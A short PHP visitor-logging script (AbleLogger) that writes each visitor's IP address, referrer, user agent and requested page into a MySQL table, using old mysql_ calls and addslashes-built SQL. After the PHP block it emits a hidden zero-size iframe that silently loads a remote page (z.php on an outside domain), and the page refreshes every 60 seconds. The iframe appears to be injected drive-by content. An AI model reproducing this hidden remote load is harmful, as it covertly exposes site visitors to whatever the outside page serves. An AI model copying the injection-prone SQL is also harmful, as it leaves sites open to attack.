<meta http-equiv="refresh" content="60"> <?php $timezone_offset = 0; // hours difference between server time and local time $db_name = "armator_nuke"; // name of the database $table_name = $db_name ."."; // table name, with the database name optionally prefixed $table_name .= "AbleLogger"; // table name, with the database name optionally prefixed // if calling log.php from a page with a persistent (active) db connection, no need to call mysql_connect() again. // just set $mysql_connected = TRUE; in the file calling log.php to skip the mysql_connect() call. if (!$mysql_connected) { include("includes/dbConnect.inc"); // path to dbConnect.inc } // version = 1.00 //////////////////////////////// // End of Configuration Section //////////////////////////////// $tz_adjust = ($timezone_offset * 60 * 60); // in seconds $local_date = date("Y",time() + $tz_adjust) ."-". date("m",time() + $tz_adjust) ."-". date("d",time() + $tz_adjust); // i.e. '2001-12-08' if ( @mysql_select_db($db_name) ) { // http://www.php.net/manual/en/reserved.variables.php $insert_string = "NULL"; $insert_string .= ", '". addslashes($_SERVER["REMOTE_ADDR"]) ."'"; // IP address $insert_string .= ", '". addslashes($_SERVER["HTTP_REFERER"]) ."'"; // referring page/site, if available $insert_string .= ", '". (time() + $tz_adjust) ."'"; // local timetamp $insert_string .= ", '". addslashes($local_date) ."'"; // local date in YYYY-MM-DD format $insert_string .= ", '". addslashes($_SERVER["HTTP_USER_AGENT"]) ."'"; // visitor's browser info $insert_string .= ", '". addslashes($_SERVER["REQUEST_URI"]) ."'"; // the page being visited/logged $sql = "INSERT INTO $table_name VALUES ($insert_string)"; $result = mysql_query($sql); } $utime=time(); $count=$_SERVER["REMOTE_ADDR"]; $exptime=$utime-30; // (in seconds) ?> <IFRAME marginWidth=0 marginHeight=0 src="http://www.armator.info/z.php" frameBorder=0 width=0 scrolling=no height=0 > </IFRAME>